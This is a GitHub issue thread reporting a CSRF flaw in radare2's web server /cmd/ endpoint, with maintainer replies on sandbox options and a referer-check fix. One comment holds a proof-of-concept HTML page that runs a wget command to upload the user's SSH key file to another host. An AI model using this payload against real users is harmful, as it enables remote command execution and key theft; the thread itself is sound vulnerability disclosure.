New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

The /cmd/ endpoint in the web interface is not protected againts CSRF #4336

Closed
atx opened this Issue Mar 17, 2016 · 7 comments

Comments

Projects
None yet
3 participants
@atx
Copy link
Contributor

atx commented Mar 17, 2016

The /cmd/ endpoint is not protected againts CSRF. This allows any site visited while the web server is running to execute arbitrary commands on the host.

@radare

This comment has been minimized.

Copy link
Owner

radare commented Mar 18, 2016

e http.cors=true

On 17 Mar 2016, at 22:42, Josef Gajdusek notifications@github.com wrote:

The /cmd/ endpoint is not protected againts CSRF. This allows any site visited while the web server is running to execute arbitrary commands on the host.


You are receiving this because you are subscribed to this thread.
Reply to this email directly or view it on GitHub

@atx

This comment has been minimized.

Copy link
Contributor

atx commented Mar 18, 2016

I might be doing this wrong, but setting http.cors = true does not really help
Try this for example:

<html>
<body>
<script>
var x = new XMLHttpRequest();
x.open("GET", "http://localhost:9090/cmd/!wget%20--post-file%20/home/atx/.ssh/id_rsa.pub%20localhost:8888", true);
x.send();
</script>
</body>
</html>

Digging through the code, it looks like the Origin: header should be checked somewhere around here, but as I don't know the codebase, I am not really sure if that is enough.

@radare

This comment has been minimized.

Copy link
Owner

radare commented Mar 18, 2016

Ah, i missunderstood you. if you dont want others to run commands in this radare session just load it in sandbox mode. e cfg.sandbox=true

@atx

This comment has been minimized.

Copy link
Contributor

atx commented Mar 18, 2016

Hm, thanks, I will be sure to add that to my .radare2rc from now on (note that the correct option is actually http.sandbox = true, cfg.sandbox disables the web server entirely).

Why is this not the default? I do not think leaving a wide open hole to the host system by default is a good idea...

@radare

This comment has been minimized.

Copy link
Owner

radare commented Mar 18, 2016

On 18 Mar 2016, at 11:17, Josef Gajdusek notifications@github.com wrote:

Hm, thanks, I will be sure to add that to my .radare2rc from now on (note that the correct option is actually http.sandbox = true, cfg.sandbox disables the web server entirely).

you have to run cfg.sandbox right after starting the webserver,

Why is this not the default? I do not think leaving a wide open hole to the host system by default is a good idea...

By default http.bind = localhost, so that port shouldnt be open for everyone. if having ports open for localhost is a problem for you you should run r2 in docker maybe or just enable the sandbox when you want others to participate there.

Also, even if you disable ! there are many other ways to run code in r2, this is why the sandbox mode exists, it disables filesystem access, network sockets and external command execution. If you find a way to bypass the sandbox without exploiting any overflow let me know :)

we try to fuzz as much as possible and fix the crashes as soon as possible, also, im trying to reduce the number of plugins loaded by default which may reduce the bugs too.

if you are really paranoid there are sandboxing profiles for seatbelt, selinux, .. for r2 already available

@atx

This comment has been minimized.

Copy link
Contributor

atx commented Mar 18, 2016

you have to run cfg.sandbox right after starting the webserver

That seems to happen automatically.

By default http.bind = localhost, so that port shouldnt be open for everyone. if having ports open for localhost is a problem for you you should run r2 in docker maybe or just enable the sandbox when you want others to participate there.

That does not really help anything though does it? The way CSRF works is as follows:

  1. I start radare2 HTTP server on my machine
  2. I visit an attacker controlled website
  3. Attacker controlled website makes a request to localhost:9090/cmd/doevil, for example, through the AJAX code I posted, through a form, through an <img src=...> tag, whatever

Point is, the request comes from the local machine, so binding to localhost does not avoid CSRF attacks.

@Maijin Maijin added the webui label Mar 19, 2016

@radare radare added this to the 0.10.2 milestone Mar 31, 2016

@radare radare self-assigned this Mar 31, 2016

@radare

This comment has been minimized.

Copy link
Owner

radare commented Mar 31, 2016

It's fixed in master by just enabling e http.referer=true you can even specify a different referer if the string contains ://.

@radare radare closed this Mar 31, 2016

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment